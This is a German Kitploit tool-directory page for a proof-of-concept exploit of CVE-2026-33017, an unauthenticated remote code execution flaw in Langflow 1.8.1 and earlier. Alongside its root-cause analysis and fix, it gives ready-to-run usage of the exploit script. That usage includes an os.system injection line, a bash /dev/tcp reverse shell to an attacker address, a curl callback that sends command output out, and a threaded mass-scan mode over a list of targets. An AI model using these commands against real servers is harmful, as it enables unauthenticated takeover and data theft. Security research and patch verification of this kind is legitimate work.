Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
langflow-CVE-2026-33017-poc — CVE-2026-33017 - Eine nicht authentifizierte Remotecodeausführung in Langflow <= 1.8.1 über den öffentlichen Flow-Build-Endpunkt | Kitploit
Tools/GitHubGitHub/maxmnml/langflow-cve-2026-33017-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsLernen & Bildung
GitHubmaxmnml/langflow-cve-2026-33017-poc

langflow-CVE-2026-33017-poc

CVE-2026-33017 - Eine nicht authentifizierte Remotecodeausführung in Langflow <= 1.8.1 über den öffentlichen Flow-Build-Endpunkt

Repository anzeigen
1042vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-33017 — Langflow Nicht authentifizierter RCE PoC

CVE CVSS Affected Language

Nur für Bildungszwecke und autorisierte Tests.

Zusammenfassung

Langflow <= 1.8.1 stellt einen öffentlichen Flow-Build-Endpunkt bereit, der vom Angreifer kontrollierte Flow-Daten mit beliebigem Code akzeptiert. Dieser Code wird an prepare_global_scope() in validate.py übergeben, das exec() ohne Sandbox aufruft, was zu einer nicht authentifizierten Remote-Codeausführung mit Serverprozess-Privilegien führt.

  • CVE: CVE-2026-33017
  • GHSA: GHSA-vwmf-pq79-vjvx
  • Schweregrad: Kritisch — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N)
  • Patch: 1.9.0

Betroffene Versionen

PaketBetroffenGepatched
pip langflow<= 1.8.11.9.0

Details zur Schwachstelle

Ursache

Der Endpunkt build_public_tmp ist absichtlich nicht authentifiziert – er ermöglicht es jedem, einen gespeicherten öffentlichen Flow auszuführen. Die Schwachstelle besteht darin, dass er auch einen optionalen data-Parameter akzeptiert, der vom Angreifer kontrollierte Flow-Definitionen enthält. Ein nicht authentifizierter Benutzer kann daher beliebigen Knotencode einreichen, den der Server als legitimen Flow-Graphen behandelt und direkt an Codeausführungsroutinen übergibt, ohne Validierung.

Der Fix ist einfach: Entfernen Sie den data-Parameter und zwingen Sie den Endpunkt, ausschließlich build_graph_from_db() aufzurufen, sodass öffentliche Flows nur gespeicherte Daten ausführen, niemals vom Angreifer bereitgestellten Code.

Ausführungskette

Die Nutzlast des Angreifers durchläuft die folgende Aufrufkette, bevor sie zur Ausführung gelangt:

SchrittDateiDetail
1chat.py:580build_public_tmp empfängt Angreiferdaten im Request-Body
2build.py:81start_flow_build() leitet die nicht vertrauenswürdige Nutzlast weiter
3build.py:298build_graph_from_data() übergibt sie an die Graph-Konstruktion
4base.py:1168Graph.from_payload() deserialisiert vom Angreifer bereitgestellte Knotendefinitionen
5base.py:1323instantiate_component() wird für jeden Knoten aufgerufen
6loading.py:43Das code-Feld wird aus den benutzerdefinierten Komponentenparametern extrahiert
7eval.py:9create_class() erhält den rohen Angreifercode
8validate.py:397exec(compiled_code, exec_globals) — keine Sandbox

Warum Modul-Level-Injektion funktioniert

prepare_global_scope() in validate.py verarbeitet ast.Assign-Knoten während der Graph-Kompilierung – bevor eine Flow-Methode aufgerufen wird. Eine Zuweisung auf oberster Ebene im injizierten Code wird daher sofort ausgeführt:

root@kitploit:~
_r = __import__('os').system("whoami")  # läuft zur Kompilierzeit, nicht zur Flow-Laufzeit

Die Ausgabe geht an die Server-Standardausgabe, nicht an die HTTP-Antwort. Die Exfiltration erfordert einen ausgehenden Callback (Reverse Shell, Curl-Webhook).

Verwundbarer Endpunkt

EndpunktAuthentifizierungAngriffsvektor
POST /api/v1/build_public_tmp/{flow_id}/flowKeineRemote, nicht authentifiziert

Ausbeutungsszenarien

SzenarioVoraussetzung
A — AUTO_LOGIN aktiviertAUTO_LOGIN=true: anonym ein JWT-Token erhalten, einen PUBLIC-Flow erstellen, ausnutzen
B — Bekannter öffentlicher FlowEine bekannte gemeinsame/öffentliche Flow-UUID: direkt ausnutzen, keine Authentifizierung erforderlich

Verwendung

root@kitploit:~
pip install requests
python3 poc.py --url http://target:7860 --cmd "id"

Optionen

FlagStandardBeschreibung
--url—Einzelne Langflow-Ziel-URL
--url-file—Textdatei mit einer URL pro Zeile (Massen-Scan)
--cmdidAuf dem Ziel auszuführender Betriebssystembefehl
--flow-id—UUID eines vorhandenen öffentlichen Flows (überspringt Flow-Erstellung)
--threads5Anzahl paralleler Threads für den Massenmodus
--timeout15HTTP-Request-Timeout in Sekunden
--no-cleanupfalseDen erstellten Flow nach der Ausnutzung behalten

Beispiele

Wichtig: Der PoC verwendet os.system() auf Modulebene — der Befehl wird auf dem Server ausgeführt, seine Ausgabe geht jedoch an die Server-Standardausgabe, nicht zurück an die HTTP-Antwort. Der PoC bestätigt nur, dass eine Ausführung stattgefunden hat ([+] VULNERABLE). Um die Befehlsausgabe tatsächlich zu erhalten, verwenden Sie eine der untenstehenden Exfiltrierungsmethoden.

Blinde Bestätigung (bestätigt RCE ohne Ausgabeerfassung)

root@kitploit:~
python3 poc.py --url http://target:7860 --cmd "id"

Reverse Shell — mit lokalem Listener

root@kitploit:~
# 1. Starten Sie einen Listener auf Ihrem Rechner
nc -lvnp 4444

# 2. Senden Sie die Reverse Shell
python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"

OOB-Exfiltration via HTTP-Callback — mit lokalem Server

root@kitploit:~
# 1. Starten Sie einen lokalen HTTP-Server
python3 -m http.server 8080

# 2. Exfiltrieren Sie die Ausgabe via Curl-Callback
python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)"

Mit einer bekannten öffentlichen Flow-UUID (keine Flow-Erstellung erforderlich)

root@kitploit:~
python3 poc.py --url http://target:7860 --cmd "id" --flow-id <flow-uuid>

Massen-Scan aus Datei

root@kitploit:~
python3 poc.py --url-file targets.txt --cmd "id" --threads 10

Beispielausgabe

root@kitploit:~
============================================================
  CVE-2026-33017 — Langflow RCE PoC
============================================================
  Ziele   : 1
  Befehl  : curl http://10.10.14.1:8080/$(id | base64 -w0)
  Threads : 5  |  Timeout : 15s
============================================================

[http://target:7860] auth: JWT-Token erhalten
[http://target:7860] flow: erstellt (3f2a1b4c-...)
[http://target:7860] [+] VULNERABLE — RCE ausgeführt
[http://target:7860] flow: gelöscht (3f2a1b4c-...)

============================================================
  ZUSAMMENFASSUNG
============================================================
  [+] http://target:7860  VULNERABLE
============================================================

  1/1 Ziel(e) anfällig

Auf dem lokalen HTTP-Server eingegangene Ausgabe:

root@kitploit:~
10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 -
# base64 -d → uid=0(root) gid=0(root) groups=0(root)

Referenzen

  • GHSA-vwmf-pq79-vjvx
  • CVE-2026-33017
  • Langflow repository
  • Verwandt: CVE-2025-3248 — ähnliches exec()-Problem auf /api/v1/validate/code
Tool herunterladen